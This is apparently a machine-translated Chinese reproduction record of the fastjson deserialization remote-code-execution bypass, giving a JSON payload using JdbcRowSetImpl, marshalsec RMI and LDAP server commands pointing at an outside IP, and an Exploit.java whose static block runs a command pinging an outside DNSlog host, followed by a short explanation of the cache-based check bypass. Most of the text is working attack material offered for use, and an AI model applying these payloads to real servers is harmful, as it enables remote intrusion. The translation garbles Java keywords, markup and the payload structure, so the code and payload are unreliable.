fastjson的远端控制设备漏洞复现记录

  

参考链接:

  

https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html https://xz.aliyun.com/t/5680

  

0 x01漏洞复现RMi

  

 fastjson的远端控制设备漏洞复现记录

  

<强> 1。有效载荷:

  

{" a ": {
“@type”: " . lang。类”,
br/>“”: {
“@type”: . lang . Class,
" b ": {
“@type”:“com.sun.rowset。JdbcRowSetImpl”,
br/>},
" b ": {
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“autoCommit":真正的
}
}

  

 fastjson的远端控制设备漏洞复现记录

  

<强> 2。在×××上执行,启动一个rmi服务
marshalsec-0.0.3-SNAPSHOT-all java - cp。jar marshalsec.jndi。RMIRefServer“http://106.12.201.224/Exploit"

     <李>生成编译* * *脚本李      

将下面代码保存为:利用。java
然后执行:javac Exploit.java,生成类文件

  
 <代码>进口java.lang.Runtime;
  进口java.lang.Process;
  公开课利用{
  
  静态{
  尝试{
  运行时rt=Runtime.getRuntime ();
  String[]命令={“碰”、“/tmp/成功”};
  过程电脑=rt.exec (“ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org”);
  pc.waitFor ();
  }捕捉(异常e) {//什么都不做
  }
  }
  
  } 
  

0 x02漏洞复现LDAP

  

<强> 1。有效载荷:

  

{" a ": {
“@type”: " . lang。类”,
br/>“”: {
“@type”: . lang . Class,
" b ": {
“@type”:“com.sun.rowset。JdbcRowSetImpl”,
br/>},
" b ": {
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“autoCommit":真正的
}
}

  

 fastjson的远端控制设备漏洞复现记录

  

<强> 2。在×××上执行,启动一个rmi服务
marshalsec-0.0.3-SNAPSHOT-all java - cp。jar marshalsec.jndi。LDAPRefServer“http://106.12.201.224/Exploit"

     <李>生成编译* * *脚本
利用。java中不要导入包李      

将下面代码保存为:利用。java
然后执行:javac Exploit.java,生成类文件

  
 <代码>进口java.lang.Runtime;
  进口java.lang.Process;
  公开课利用{
  
  静态{
  尝试{
  运行时rt=Runtime.getRuntime ();
  String[]命令={“碰”、“/tmp/成功”};
  过程电脑=rt.exec (“ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org”);
  pc.waitFor ();
  }捕捉(异常e) {//什么都不做
  }
  }
  
  } 
  

0 x03漏洞原理

  

这次绕过的大体思路是通过. lang . class,将JdbcRowSetImpl类加载到地图缓存,从而绕过复写的检测,因此将负载分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。

  

当发送第一次请求时,类是通过deserializers.findClass加载的,然后类将JdbcRowSetImpl类加载进地图中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。

fastjson的远端控制设备漏洞复现记录